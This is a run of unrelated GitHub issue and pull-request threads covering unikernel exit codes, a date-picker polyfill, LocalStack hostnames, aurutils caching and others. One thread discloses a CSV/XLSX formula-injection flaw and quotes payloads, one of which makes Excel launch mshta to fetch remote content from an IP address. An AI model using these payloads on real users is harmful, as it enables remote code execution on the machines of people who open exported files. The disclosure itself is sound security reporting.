removed the definition of cpu_halt(). platform_exit uses UKVM_HYPERCALL_HALT
in ukvm, ACPI on virtio, and the halt instruction in bhyve.
If a ukvm unikernel exits with a halt instruction, ukvm-bin treats it like an error.
Unikernels can only exit through platform_exit(status), which is called from
solo5_exit(status), failed asserts (status=1), and faults (status=1).
ukvm-bin exits with the exit_status of the unikernel.
Adapted run-tests.sh, so it checks for status=1 for expected failures.
The exit status is ignored in virtio. There is a way of passing the exit status to QEMU (that's how we return 83 in ), but no equivalent in bhyve. So, just to keep things consistent, let's keep things as they are for QEMU. Unless, somebody wants to return the exit status in QEMU.

@mato: the relevant part of this for the API changes is that this proposes using solo5_exit(status) instead of solo5_exit(void).
@niks3089: was going over your PR, and though that having return codes would make your change much simpler. I've been thinking about unikernels returning exit status, so this was a good time for this proposed change.
This was tested on Linux x86 and freebsd x86 (ukvm and virtio backends). Don't have access to any ARM box or muen.

Thanks @avsm , added some comments into solo5.h:  https://github.com/Solo5/solo5/pull/230/commits/aab9326f4853678d0d7a82ed18499e01a0072134

Note that a status >255 will in any case be passed out of ukvm-bin exit() with only the least significant 8 bits present (see e.g. the POSIX docs, this is well-known actual behaviour though not documented e.g. in the Linux man page). I'll fix the comments to clarify that once merged.

Thanks @mato , rebased/squashed into two commits (mine and Adrian's).


V3 doesn't work in IE 11

Reproduce step:
Just open the demo in the repo in IE 11, the datepicker cannot be popped up and it's totally blank, even input something in the input, just blank and cannot see anything except the cursor moving.

Ouch. Just got bit by that too. Defeats the purpose of this polyfill if it doesn't work on IE11... :disappointed:
Any ideas how to fix?

I also tried the latest v2 (https://github.com/chemerisuk/better-dateinput-polyfill/tree/v2.0.2) to see if it's just a problem with v3, but that had problems too: Although the picker appeared, the month and year were invisible (probably easy to fix with CSS) and worse, when you clicked on a date, it didn't seem to select it (no value appeared in the input).
So what is a person to use for a polyfill?
I also tried out https://github.com/brianblakely/nodep-date-input-polyfill but it doesn't seem to submit the value as yyyy-mm-dd.
In the past I would have turned to https://github.com/aFarkas/webshim but it looks like it is no longer maintained....

@TylerRick I have used v2.0.2 for a long time without having problems.

month and year were invisible

@TylerRick did you import all the things correctly? Check out the archived demo, you need quite a few scripts but it works:
https://web.archive.org/web/20180402164909/http://chemerisuk.github.io/better-dateinput-polyfill/

Hi,
I have added better-dateinput-polyfill in my project but it doesn't seem to work in IE 11.But in this link https://web.archive.org/web/20180402164909/http://chemerisuk.github.io/better-dateinput-polyfill/ its working in IE 11 works fine. To make it work anything needs to be modified or changed in the code.

@PadmapriyaVasudevan use v2.0.2, not the latest v3

@Teamop  Thanks much for your reply. Everything else is working as expected rather than data-format attribute. I am unable to modify the date format (mm/dd/yyyy)

And also while submitting the value is not getting assigned to the formControlName.

Fixed in v3.0.1. There some tweaks with the presented date presentation that have to be done, but it works at least on IE 10-11.

@chemerisuk Thanks much for your reply.

@PadmapriyaVasudevan I believe you have an error somewhere else. Everything is working on my side. In order to customize presented value try to add data-format='{"month":"short","year":"numeric","day":"numeric"}' on the element, for instance. Note: IE10 does not support Intl API, so the displayed value there is always the same, IE11 works well.

I tried pasting better-dom into the console in IE 11, and that worked fine. However, when I tried the same for the unminified better-dateinput-polyfill, I got the following error:
SCRIPT5078: Cannot redefine non-configurable property 'value'
browsertools.console.js (141,7)
If we look at line 141 of the polyfill, we see this:
Object.defineProperty(this[0], "value", {         configurable: false,         enumerable: true,         get: valueDescriptor.get,         set: this._setValue.bind(this, valueDescriptor.set, updateDisplayedText)       });

Try to install files from npm as described in readme and check if there is a problem. I’ve never experienced such an issue.


6 Nov 2024 - Diversity Equity & Inclusion Special Interest Group Meeting Minutes

Date
2024/11/6 - 12:00pm EST / 5pm GMT
Untracked attendees

Fullname, Affiliation, (optional) GitHub username
...

Meeting notices

FINOS Project leads are responsible for observing the FINOS guidelines for running project meetings. Project maintainers can find additional resources in the FINOS Maintainers Cheatsheet.

All participants in FINOS project meetings are subject to the LF Antitrust Policy, the FINOS Community Code of Conduct and all other FINOS policies.

FINOS meetings involve participation by industry competitors, and it is the intention of FINOS and the Linux Foundation to conduct all of its activities in accordance with applicable antitrust and competition laws. It is therefore extremely important that attendees adhere to meeting agendas, and be aware of, and not participate in, any activities that are prohibited under applicable US state, federal or foreign antitrust and competition laws. Please contact<EMAIL_ADDRESS>with any questions.

FINOS project meetings may be recorded for use solely by the FINOS team for administration purposes. In very limited instances, and with explicit approval, recordings may be made more widely available.

AgendaConvene & roll call (5mins)

[ ]  Display FINOS Antitrust Policy summary slide
[ ]  Review Meeting Notices (see above)
[ ]  Approve past meeting minutes
[ ] New DEI event series
[ ] feedback
[ ] FINOS Leadership endorsed, provided:

[ ] Content and ambassador recruitment is led by DEI SIG
[ ] Ambassadors agree to their responsibilities (incl recruiting sponsors)
[ ] FINOS support is akin to any other ambassador meetup:

[ ] Our registration page
[ ] Marketing promotion
[ ] Clarify $ funding needed or resourced needed on FINOS on site

[ ]  volunteers to work on 2025 events plan with Ambassadors

[ ] Updated text for Github
[ ] Review 2024 goals
[ ] Planning for 2025
[ ]  AOB, Q&A & Adjourn (5mins)

Meeting Minutes
Action Items
Meeting Info
Join Zoom Meeting
https://zoom.us/j/94969868675
Meeting ID: 949 6986 8675
Passcode: 184472

Rimma

Peter Smulovics (he, him) / Morgan Stanley


Add clasp -v and clasp --version

May be helpful for debugging use issues.
Signed-off-by: campionfellin<EMAIL_ADDRESS>
[x] npm run test succeeds.
[x] npm run lint succeeds.
[ ] Appropriate changes to README are included in PR.

Coverage increased (+0.05%) to 15.718% when pulling 841bb74ee39734cfbddda491c8280e20bf2ce5e4 on version into 4a0c5119f78979c292eb47ca5b2a7d706455db1e on master.


Revert "Revert "Fail wait_for_ready=false RPCs when channel is in TRANSIENT_FAILURE.""

Reverts grpc/grpc#16996
I will address internal breakage before merging.

****************************************************************

libgrpc.so

     VM SIZE                                                                                FILE SIZE
 ++++++++++++++ GROWING                                                                              ++++++++++++++
  +0.0%    +104 [None]                                                                                +456  +0.0%
  +0.5%    +192 src/core/ext/filters/client_channel/client_channel.cc                                   +192  +0.5%
      [NEW]    +389 add_closure_for_subchannel_batch(grpc_call_element*, grpc_transport_stream_op_batch*    +389  [NEW]
      [NEW]    +203 fail_call_if_in_transient_failure                                                       +203  [NEW]
      [NEW]    +192 add_retriable_send_message_op(grpc_call_element*, subchannel_call_retry_state*, subc    +192  [NEW]
      +1.1%      +4 [Unmapped]                                                                                +4  +1.1%
      +0.1%      +1 start_pick_locked                                                                         +1  +0.1%

  +0.0%    +296 TOTAL                                                                                +648  +0.0%

****************************************************************

libgrpc++.so

     VM SIZE        FILE SIZE
 ++++++++++++++  ++++++++++++++

  [ = ]       0        0  [ = ]

[trickle] No significant performance differences

Objective-C binary sizes
*****************STATIC******************
  New size                      Old size
 2,014,439      Total (>)      2,014,173

 No significant differences in binary sizes

***************FRAMEWORKS****************
  New size                      Old size
11,113,673      Total (>)     11,113,475

 No significant differences in binary sizes

Known issues: #16585
The interop failure looks like an infrastructure problem (failed to download deps from remote repos).


"404: Not Found","code":0,"reqId":"req-7" every time trying to upload file

version is current v4 in master repo
node version 18.16.0
any idea what's the cause?
"404: Not Found","code":0,"reqId":"req-7" every time trying to upload file, upload is not successfully, seems not even started uploading at all.
{"level":30,"time":1682744200221,"reqId":"req-7","req":{"method":"POST","url":"/api/files/75c83136-1a7e-478c-9eb8-2e09b968f837","hostname":"ddrive.test.com:3003","remoteAddress":"<IP_ADDRESS>","remotePort":8620},"msg":"incoming request"}
(node:418271) ExperimentalWarning: buffer.File is an experimental feature and might change at any time
    at emitExperimentalWarning (node:internal/util:238:11)
    at new File (node:internal/file:41:5)
    at makeEntry (/home/user1/git/ddrive/node_modules/undici/lib/fetch/formdata.js:242:11)
    at FormData.append (/home/user1/git/ddrive/node_modules/undici/lib/fetch/formdata.js:49:19)
    at RequestManager.resolveRequest (/home/user1/git/ddrive/node_modules/@discordjs/rest/dist/index.js:1213:20)
    at async RequestManager.queueRequest (/home/user1/git/ddrive/node_modules/@discordjs/rest/dist/index.js:1150:35)
    at async REST.request (/home/user1/git/ddrive/node_modules/@discordjs/rest/dist/index.js:1387:22)
    at async AsyncStreamProcessorWithConcurrency.processChunk [as chunkProcessor] (/home/user1/git/ddrive/src/DFs/index.js:155:51)
{"level":50,"time":1682744200981,"message":"404: Not Found","code":0,"reqId":"req-7"}
{"level":30,"time":1682744200981,"reqId":"req-7","res":{"statusCode":500},"responseTime":759.7181599959731,"msg":"request completed"}
{"level":30,"time":1682744201005,"reqId":"req-8","req":{"method":"GET","url":"/api/directories/75c83136-1a7e-478c-9eb8-2e09b968f837","hostname":"ddrive.test.com:3003","remoteAddress":"<IP_ADDRESS>","remotePort":8620},"msg":"incoming request"}
{"level":30,"time":1682744201010,"reqId":"req-8","res":{"statusCode":200},"responseTime":4.445440001785755,"msg":"request completed"}

Requirements
NodeJS v16.x or Docker

Can you try with nodejs 16?

Can you try with nodejs 16?

tried with nodejs 16 and im getting this
{"level":30,"time":1703562734120,"reqId":"req-1f","req":{"method":"POST","url":"/api/files/3af9ad04-10e3-48d0-a0c6-f60236fdc567","hostname":"<IP_ADDRESS>:0000","remoteAddress":"<IP_ADDRESS>","remotePort":64389},"msg":"incoming request"}
{"level":50,"time":1703562734227,"message":"404: Not Found","code":0,"reqId":"req-1f"}
{"level":30,"time":1703562734228,"reqId":"req-1f","res":{"statusCode":500},"responseTime":107.53197900019586,"msg":"request completed"}


Improve GC sanity

Remove the misuse of GC.@preserve.

@yuyichao Thanks for taking the time to review this! The only thing that I'm still not crystal clear about is: GC.@preserve has a clear begin-end scope, and the non-Ptr{Cvoid} return variable, say x, of Base.cconvert is invisible to GC, I'm wondering when will it be visible to GC again? If there is no mechanism to make it be visible to GC, I suppose it will not be GC-collected until the end of the current scope?

GC visibility is completely independent of the scope and GC.@preserve has no effect any variable inside the code block. Preserving of cconvert of ccall argument is a completely different mechanism which has a scope till the return of the C function.
Also see the inline reply about the unneeded GC.@preserve.

Preserving of cconvert of ccall argument is a completely different mechanism which has a scope till the return of the C function.

Just found the doc about the mechanism used in ccall. Maybe it's a good idea to cross-ref it in Calling C and Fortran Code chapter.

I'm merging this. The codecov complains about a diff hit loss which is probably due to the coverage.jl failed to detect newly added Base.cconvert.


Materialized partitions are not being properly deleted, leading to OOM

Describe the bug
When iterating through the dataset using pyrunner, reading tasks are being executed across multiple threads. We wait on the thread pool until the first thread completes. However, if not all threads have finished execution before returning from the wait, the remaining threads may not be properly collected or cleaned up after they finish. This behavior can eventually cause an OOM.
To Reproduce
It only reproduces with the sample operation after reading the dataset.
if not os.path.exists("dummy_data"):
    df = daft.from_pydict({"x": np.random.random(1_000_000_000)}).repartition(100)
    df.write_parquet("dummy_data")

while True:
    df = daft.read_parquet("dummy_data").sample(fraction=0.9)
    x = next(iter(df))

The inflight tasks dict will keep growing until we reach OOM.
Expected behavior
When garbage collector collects a dataframe, all of its related tasks will be collected as well (i.e. using DataFrame.__del__).
Additional context
python 3.11.9
daft 0.3.2
pyarrow 16.1.0

Ah good find, we'll take a look

I have a potential fix in https://github.com/Eventual-Inc/Daft/pull/2812
I was able to verify that it correctly cleans up the "orphaned" tasks and futures from GC'ed generators in your provided example
However I wasn't able to reproduce the OOM error, likely because I haven't run the workload on enough iterations 😛 so I can't definitely say if this PR fixes the issue. Any chance if you could try it out on your end? I can push a nightly for you to try out!

Great job on the fix! The inflight tasks are now being cleared when the garbage collector processes the dataframe. Thanks!


Not Receiving Push Notification when app is killed on android device

I am currently working with RN0.44 , everything working fine on emulator , however on physical android device i am only able to receive push notification (remote) when app is running or at least it is in background, but when i kill the app i am unable to receive notifications.
I have also checked the settings for my app but no luck.

@java-developer188 Have you found a solution to this, as I'm facing this problem too.
I think this is because of the new android changes?
Which android are you using?

No not yet, i was busy in some other stuff,but  I need it working,expecting some assistnce here, and currently i m using android6.0
And yes u r ryt new version is giving issue otherwise i tested on older version it is working fine there

i use fcm and android 7.0
it works fine but notification twice.
i have probelm with this

Check this https://github.com/wix/react-native-notifications/issues/170


docs: blog superbowl, add source

This PR makes a small tweak to the Super Bowl blogpost, to add a source data reference to Lee Sharpe and the nflverse

cc @rich-iannone , going to merge, since it's a small change and we were sitting next to each other!


feat: trigger a major release BREAKING CHANGE: webpack version 3

Status
READY
Description
My last PR failed to generte a release, i hope to fix that with this one.
Impacted Areas in Application

all the app

Codecov Report

Merging #99 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff          @@
##           master    #99   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files           5      5
  Lines          10     10
  Branches        1      1
=====================================
  Hits           10     10


Button text is out of alignment on mobile view

Describe the bug
The text overflows out of the buttons.
Expected behavior
The text should be properly aligned within the buttons.
Screenshots

Additional context
Add any other context about the problem here.
Have you read the Code of Conduct?
Write your answer here.
yes

@shivamgaur99 this is a very very small issue so just adding gssoc label without any level


awslocal fails with the instance name

The setup.
I've LocalStack in a docker-compose environment, to configure the services I'm using a side cart pattern:
Here's my docker-compose.yml:
version: "3.8"

services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack
    ports:
      - "<IP_ADDRESS>:4566:4566"            # LocalStack Gateway
      - "<IP_ADDRESS>:4510-4559:4510-4559"  # external services port range
      - "<IP_ADDRESS>:53:53"                # DNS config (only required for Pro)
      - "<IP_ADDRESS>:53:53/udp"            # DNS config (only required for Pro)
      - "<IP_ADDRESS>:443:443"              # LocalStack HTTPS Gateway (only required for Pro)
    environment:
      - DEBUG=${DEBUG-}
      - PERSISTENCE=${PERSISTENCE-}
      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR-}
      - LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY-}  # only required for Pro
      - DOCKER_HOST=unix:///var/run/docker.sock
    volumes:
      - "${LOCALSTACK_VOLUME_DIR:-./volume}:/var/lib/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"
  localstack_sidecar:
    image: localstack/localstack
    depends_on:
      - localstack
    entrypoint: >
      awslocal --endpoint-url=http://localstack_main:4566 sqs create-queue --queue-name sample-queue2

The problem is that endpoint-url fails with the "localstack_main" hostname:
check-localstack_sidecar-1  | Invalid endpoint: http://localstack_main:4566

Forcing the container IP and replacing localstack_main with the IP yields the expected result:

check-localstack_sidecar-1  | {
check-localstack_sidecar-1  |     "QueueUrl": "http://<IP_ADDRESS>:4566/000000000000/sample-queue2"
check-localstack_sidecar-1  | }
check-localstack_sidecar-1 exited with code 0

P. S. Setting FQDN hostname for the service works too.

Hi!
Hostnames cannot contain an underscore character. This is not a restriction of awscli-local, but a general one.
This is the reason why it is (currectly) labeled as an invalid endpoint. Please use the docker compose service name (in this case, localstack) to connect from your sidecar to localstack itself.


aurutils 2.3.6b fails to upgrade a package if found on the cache

Hello,
See what's happening when trying to upgrade from AUR with aurutils:
% AUR_DEBUG=1 aur sync -st --provides -d laur -u
==> Using [laur] repository
  -> python-loguru: 0.5.2-1 -> 0.5.3-1
==> Retrieving package files
fatal: destination path 'python-loguru' already exists and is not an empty directory.

If I remove the cache directory:  rm -r ~/.cache/aurutils/snapshot/python-loguru, then it works.
But even the same happened some time back during the aurutils (2.3.5-1 -> 2.3.6b-1) upgrade.  Actually then, removing the old directory was not enough, it failed later with some other issue.  I had to manually do makepkg, then move the generated package and its signature to the local repo, manually add it to the repo, and then do a system upgrade...
Is there something wrong with aurutils not able to handle cached package directories as before?  Is an additional setting required to actually do upgrades even when there are cached directories?

Actually, here it's an example on a box trying to upgrade aurutils, and other AUR packages.  At 1st, the error:

fatal: destination path '' already exists and is not an empty directory.

Is gotten for all packages, and after removing the corresponding cache directories for those packages I get:

==> Using [laur] repository
-> aurutils: 2.3.5-1 -> 2.3.6b-1
-> conan: 1.29.0-1 -> 1.29.2-1
-> python-loguru: 0.5.2-1 -> 0.5.3-1
==> Retrieving package files
Cloning into 'python-loguru'...
remote: Enumerating objects: 61, done.
remote: Counting objects: 100% (61/61), done.
remote: Compressing objects: 100% (46/46), done.
remote: Total 61 (delta 15), reused 61 (delta 15), pack-reused 0
Unpacking objects: 100% (61/61), 8.11 KiB | 169.00 KiB/s, done.
Cloning into 'conan'...
remote: Enumerating objects: 686, done.
remote: Counting objects: 100% (686/686), done.
remote: Compressing objects: 100% (406/406), done.
remote: Total 686 (delta 314), reused 649 (delta 279), pack-reused 0
Receiving objects: 100% (686/686), 109.96 KiB | 280.00 KiB/s, done.
Resolving deltas: 100% (314/314), done.
Cloning into 'aurutils'...
remote: Enumerating objects: 360, done.
remote: Counting objects: 100% (360/360), done.
remote: Compressing objects: 100% (242/242), done.
remote: Total 360 (delta 119), reused 359 (delta 118), pack-reused 0
Receiving objects: 100% (360/360), 69.03 KiB | 344.00 KiB/s, done.
Resolving deltas: 100% (119/119), done.
Running makepkg --clean --syncdeps
==> ERROR: build: invalid argument (no packages found)

So the option I'm left with is to remove the binary packages on the repo dir, running makepkg for each package, move the binary packages to repo dir, and then add the binary packages to the repo DB...
And afterwords, I'm left with the issue of having to remove the cached directory when upgrading...

2.3.5 could no longer build packages so to upgrade you'd need to run
makepkg manually. I'm not sure on the cause of the "destination path
already exists". Do you have similar issues with the master branch?
On 22/09/2020 02:43, Javier wrote:

Actually, here it's an example on a box trying to upgrade aurutils,
and other AUR packages. At 1st, the error:
fatal: destination path '' already exists and is not an empty
directory.

Is gotten for all packages, and after removing the corresponding cache
directories for those packages I get:
==> Using [laur] repository
-> aurutils: 2.3.5-1 -> 2.3.6b-1
-> conan: 1.29.0-1 -> 1.29.2-1
-> python-loguru: 0.5.2-1 -> 0.5.3-1
==> Retrieving package files
Cloning into 'python-loguru'...
remote: Enumerating objects: 61, done.
remote: Counting objects: 100% (61/61), done.
remote: Compressing objects: 100% (46/46), done.
remote: Total 61 (delta 15), reused 61 (delta 15), pack-reused 0
Unpacking objects: 100% (61/61), 8.11 KiB | 169.00 KiB/s, done.
Cloning into 'conan'...
remote: Enumerating objects: 686, done.
remote: Counting objects: 100% (686/686), done.
remote: Compressing objects: 100% (406/406), done.
remote: Total 686 (delta 314), reused 649 (delta 279), pack-reused 0
Receiving objects: 100% (686/686), 109.96 KiB | 280.00 KiB/s, done.
Resolving deltas: 100% (314/314), done.
Cloning into 'aurutils'...
remote: Enumerating objects: 360, done.
remote: Counting objects: 100% (360/360), done.
remote: Compressing objects: 100% (242/242), done.
remote: Total 360 (delta 119), reused 359 (delta 118), pack-reused 0
Receiving objects: 100% (360/360), 69.03 KiB | 344.00 KiB/s, done.
Resolving deltas: 100% (119/119), done.
Running makepkg --clean --syncdeps
==> ERROR: build: invalid argument (no packages found)

So the option I'm left with is to remove the binary packages on the
repo dir, running makepkg for each package, move the binary packages
to repo dir, and then add the binary packages to the repo DB...
And afterwords, I'm left with the issue of having to remove the cached
directory when upgrading...
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/AladW/aurutils/issues/741#issuecomment-696454719,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABKASJH7CVJ2YVNZWKUD433SG7XMXANCNFSM4RT6RZLA.

 rm -r ~/.cache/aurutils/snapshot/python-loguru indicates there's some issue with using the --tar mode of aur-fetch. However, aur-sync by default uses different directories for --tar and --git checkouts. An actual traceback would solve this (2.3 does not support AUR_DEBUG unfortunately).

Sorry I haven't replied before, but I was waiting for having upgrades on AUR packages twice after totally removing ~/.cache/aurutils.  See, after having the current version "2.3.6b-1" installed, I was no longer able to upgrade any package, unless I removed its respective directory in the cache 1st.  So I decided to remove the whole cache.
So far, so good, but I want to see an upgrade of a package with a new cache dir already, and see if the problem shows up or not.  It might have been there was an incompatibility as well on the caches from the prior version and the new one.

I wrote what you described as a test and it works for me with 3.0.0rc. https://paste.xinu.at/BBY2U/

Well, I upgraded freetube, which already had a cache dir, added after I had to remove ~/.cache/aurutils, and aurutils had no issues.
So it seems that after the aurutils upgrade, it was also required to remove the whole cache generated from the prior aurutils.  Not sure if something known already...
At any rate, I no longer have issues after the aurutils upgrade, however this one was not as smooth as other ones, :).  Thanks !


Test: Add enzyme and mooncake to benchmark

This PR adds Enzyme.jl and Mooncake.jl to out benchmarking to see what happens. Potentially these should be split into two PRs and then kept updated as new versions of the autodiff backends are produced.

Potentially there is a setup issue as from what I can see both fail for all benchmarks

I have also inserted Enzyme and Mooncake into one of the case studies each as another small test

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 90.54%. Comparing base (8dc444f) to head (38e7518).

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #540   +/-   ##
=======================================
  Coverage   90.54%   90.54%
=======================================
  Files          57       57
  Lines         825      825
=======================================
  Hits          747      747
  Misses         78       78

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Ha nothing is loaded - I am clearly doing a great job


Potential bug in artifactory with new docker manifest

Hi,
Images build using docker 1.10+ have a new manifest. They can be pushed and pulled from artifactory with no problem. However, when listing repositories via the API we get a MANIFEST_INVALID message.

From the docker registry v2 api we get a definition of the message https://docs.docker.com/registry/spec/api/#errors-2

@JonathanRosado Could you investigate in the Artifactory issue page to see if they have an issue open related to this? If not, please open an issue and cross reference it with our issue.
Thanks!

@edagan @soninob Could you help out in researching this potential issue?

Sure, will check it on Sunday.
@JonathanRosado - let me know on your findings, so I will know where to start.

thanks @soninob

@AndreeaDora - any news about this?


Pictures with low light and flash are black

I installed camera yesterday. When I want to take a picture with low light the camera flashes but the picture is black. When I focus in dark, there is also no light for focus.
Device is a3y17lte.

Does it work properly if you use the torch feature instead of the flash? It sounds like the device has a broken implementation of flash for the Camera2 API and doesn't keep it on long enough. These issues need to be worked around in CameraX which it has done for a few devices already. We can't do much ourselves but we can report it to them.

It works properly when we use the torch feature.

Google Camera doesn't support that doesn't so you're using some unofficial variant of it. If someone specifically ported it to that device, they must have taken care of what was required.
You could try using Latency mode instead of the Quality mode but it's probably not the problem.
There's nothing we can do about this within our app. These workarounds have to be done by CameraX. It has workarounds for devices with this kind of flash bug already but the list of devices where it's used is far from complete. This has to be reported at https://issuetracker.google.com/issues?q=status:open componentid:618491 after reproducing it with one of their sample apps. If it only happens in Quality mode where CameraX waits for focus/exposure lock, that needs to be included in the issue report.

This device probably needs to be added here:
https://android.googlesource.com/platform/frameworks/support/+/refs/heads/androidx-main/camera/camera-camera2/src/main/java/androidx/camera/camera2/internal/compat/quirk/FlashTooSlowQuirk.java?autodive=0%2F%2F%2F%2F%2F%2F%2F
Other apps may already hard-wire a workaround for this device.

@thestinger thanks for all the details! i reproduced the issue with the sample apps and reported the issue here https://issuetracker.google.com/issues/235172945


I added code to try and publish all the unpublished questions of an

exam, when the user tries to publish the exam. If there are questions
that can't be published, then a message is flashed after the exam is
published which tells the user which questions weren't published and why
not. #323

I've written in #323 why I've changed my mind about this feature. I'm going to close this, but I spotted a few problems with your latest code, so I've pushed commit 75c352318aa1926 with some tidier code, which I hope will be of some benefit to you.


add likes operation

needs to be added to readme, I haven't done this because I'm not familliar with your doc guidelines

also, "likes" may be a bit ambiguous but that's what it's called by X, so I think it's better to just stick with that

This PR is useful for my work, thank you.


Security Vulnerability on CSV/XLS(X) Injection

It seems the tool does not escape contents when exporting, which can result in security vulnerability on CSV/XLS(X) injection. For example, suppose malicious users store formula strings such as =1*cmd|' /C calc'!A0 or even =1+cmd|'/c mshta.exe http://<IP_ADDRESS>:8080/csv'!A0 into the system, and other users export the data using the CSV/XLS(X) format and open it using Excel. In that case, those malicious formula strings may be executed.
Besides, if I import an XLSX file containing a record with =1*cmd|' /C calc'!A0, KeyError encountered while trying to read file: <file> is displayed on a plain new page, and nothing is logged at the backend. If I import an XLS file containing a record with =1*cmd|' /C calc'!A0, there are extra characters after this string displayed on the preview page.

Thanks for raising Kevin.  I'll have to have a think about the best way to resolve this.
We're using tablib for our exports, and in turn that uses other libraries to manage the export.  XLSX exports are performed using xlsxwriter.  I had a quick look for similar issues.

https://github.com/jazzband/tablib/issues/257
https://github.com/jmcnamara/XlsxWriter/issues/663

I reproduced this by added a book with a title of =SUM(1+1) and saving / exporting.
This gets evaluated as '2' when the exported xlsx file is read.

There is an upstream fix for this in tablib so that needs to be ported into this library.

The upstream Tablib fix has just been released in 3.4.0 https://pypi.org/project/tablib/3.4.0/ 🚀

I reproduced this by setting the name of a book as =Sum(1+1) saving it and then exporting it as CSV, it gave the same answer '2'.

I exported to ODS, and the formulae was displayed but did not execute by default.

Fixed in #1568

Besides, if I import an XLSX file containing a record with =1cmd|' /C calc'!A0, KeyError encountered while trying to read file:  is displayed on a plain new page, and nothing is logged at the backend. If I import an XLS file containing a record with =1cmd|' /C calc'!A0, there are extra characters after this string displayed on the preview page.

Kevin - can you reproduce this in the test app?  I couldn't reproduce this, the records imported fine.


I am getting the following error

/CAGAN_v2_pytorch/utils/network.pyc in forward(self, x)
78
79     def forward(self, x):
---> 80         return self.D_net(x)
RuntimeError: weight should contain 2048 elements not 4096

I guess you are using Python version lower 3.6 which has some differences in dict. I fix the bugs about OrderedDict in the latest commit.


⚠ Avatar API Endpoint has degraded performance

In 9d6c5ae, Avatar API Endpoint (https://avatar.roblox.com/v1/avatar-rules) experienced degraded performance:

HTTP code: 200
Response time: 4753 ms

Resolved: Avatar API Endpoint performance has improved in 0c7f5af after 5 minutes.


bulletin board for local marketplace

As a vendor with an encointer account, I want to post ads/classifieds for my goods and services in order to find local clients
As a client I want to browse the bulletin board for my community

filter classifieds by categories
fulltext search

concept
implement a pallet that registers (multiple) IPFS urls by CurrencyIdentifier and AccountId
publish classifieds to IPFS and register url onchain with your cid and AccountId
Allow deletion by user or public vote (indecent classifieds could be removed by a TBD percentage of people in the community, like "report content")
Rules

classifieds can only be published by accounts with a minimum ceremony attendance history.
The account has to lock some balance for as long as the classified is online

questions

Who stores/mirrors IPFS content? The worker? the phones themselves?
how can businesses register? They are not single persons with uPoP

a set of economic beneficiaries can register a business, which will have its own account (multisig?)

flutter features a code example for classifieds that could be used as a basis:
https://github.com/flutter-devs/flutter_classified_app
subsocial has implemented pallets that work similarly (ipfs posts, onchain authorization, up-downvoting
https://github.com/dappforce/dappforce-subsocial-node/tree/master/pallets
certainly overkill for us, but maybe useful

more details in #117


Remove onegini migration code

This issue is imported from pivotal
It\'s still possible to start a onegini migration, and an eduID account will be created if authentication is successful. Since no migration-idp is connected, no abuse is possible, but we should remove the migration-code to prevent other issues.

Followed https://mijn.test.eduid.nl/Shibboleth.sso/Login?entityID=http://mock-idp&target=/migration which took me to https://mujina-idp.test.surfconext.nl/login;
Prompted with a Mujina Identity Provider login portal, I entered admin:admin—as you naturally do—and was suddenly signed in to<EMAIL_ADDRESS>on mijn.test.eduid.nl;
Navigated to https://invite-ui.test.eduid.nl/ and was prompted with a login confirmation for eduID Invite (TEST) using the "John Doe" account;

https://github.com/OpenConext/OpenConext-myconext/commit/66ec04fd66598a23210b440234bbb9bd1547dace (Okke Harsta - Sep 2, 2022)


[Access Request] page 9150 "My Customers"

Could you please change the access scope of the following variable to protected ?
protected var
    Customer: Record Customer;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.
Build ID: 10652.


🚀 Feature Request: Multiple Pages Projects from Same Github Repo

Describe the solution
Not sure if this is the right place to post this, but I would love for Cloudflare Pages to support multiple projects from the same repo. I have two use cases:
Multiple deploy environments
My app has separate internal, staging, and production deployments. All of them run the same code but are tracked in different branches. To achieve this today with Cloudflare Pages I need to have the same code in 3 different repos—doable, but not very transparent.
Multiple projects in a monorepo
My app consists of several subprojects that depend on one another and share the same tooling/idioms. The easiest way to handle this in our use case is to put everything together in a monorepo so that projects can cross reference shared code and tooling, and my team can collaborate on the same codebase. As such I would like to be able to deploy each of the projects independently despite them being in the same repo.
Thanks in advance and hope that this gets prioritized! The workarounds for these seem to be just not using a monorepo structure or having several redundant projects, but I wish it could be more elegant than that. Thanks!

We’re currently evaluating Cloudflare Pages for our company, and this issue is the one big blocker for us.
I would love to have some kind of solution for this.
(not affiliated with OP)

Same here. For us, the main problem is that the functions directory is expected at the root and there's no option to choose a different directory for it (there's an option to choose the static asset directory, but not the functions dir).

That said it does not solve the above issues I mentioned. It just makes one project deploy.

I made it work for my project by just adding another step to my monorepo's root build command, that copies the functions to the root. It's ugly but it works

Yeah we've done the same in the past but it's indeed rather ugly :-P. Being able to simply configure a working-directory like other github actions commonly do woud solve this nicely.

Hey,
We're tracking this internally, it is on the roadmap! I recommend following the blog (https://blog.cloudflare.com/) and joining our Discord (https://discord.gg/cloudflaredev) to stay up to date :)

Any Developments?

I'm curious, we are already running else this scenario and we would like to move to CF pages with rest of our deployments, is it possible to have it?
What's are recent developments on this?


v0.2.1

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Pull Request Test Coverage Report for Build 247

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 89.697%

Totals

Change from base Build 235:
0.0%

Covered Lines:
296

Relevant Lines:
330

💛  - Coveralls


Support multiple mixers at the same time

If you have a setup with multiple mixers, it should be possible to configure tallies for all of them.

This is very interesting, I often have atem mini and vmix running together!


Mixins within rules aren't added to nodes collection

Consider the following input: .foo { .mixin(); }
And the resulting Rule node:
Rule {
  raws: { before: '', between: ' ', after: ' .mixin(); ' },
  type: 'rule',
  nodes: [],
  parent:
   Root {
     raws: { semicolon: false, after: '' },
     type: 'root',
     nodes: [ [Circular] ],
     source: { input: [Object], start: [Object] },
     lastEach: 1,
     indexes: {} },
  source:
